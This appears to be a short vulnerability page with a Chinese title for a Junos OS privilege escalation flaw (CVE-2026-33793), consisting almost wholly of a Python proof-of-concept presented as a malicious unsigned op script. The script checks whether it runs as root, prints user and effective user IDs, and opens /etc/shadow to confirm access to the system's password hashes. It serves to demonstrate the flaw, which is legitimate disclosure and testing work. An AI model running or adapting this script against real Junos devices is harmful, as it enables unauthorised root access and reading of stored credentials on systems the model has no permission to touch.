CVE-2026-33793 Junos OS权限提升漏洞

#!/usr/bin/env python # PoC for CVE-2026-33793: Privilege Escalation via Unsigned Python Op Scripts # This script demonstrates the execution context when run as a malicious op script. import os import sys def check_privileges(): """Check if the script is running with root privileges.""" if os.geteuid() == 0: print("[+] Success: Running as ROOT!") print("[+] User ID:", os.getuid()) print("[+] Effective User ID:", os.geteuid()) # Malicious action simulation (e.g., writing to a root-only file) try: with open("/etc/shadow", "r") as f: print("[+] Able to read /etc/shadow (Sensitive data access confirmed).") except Exception as e: print("[-] Error accessing shadow file:", e) else: print("[-] Failed: Not running as root.") print("[-] Current UID:", os.getuid()) def main(): print("[*] Junos OS Malicious Op Script PoC") print("[*] Attempting privilege escalation...") check_privileges() if __name__ == "__main__": main()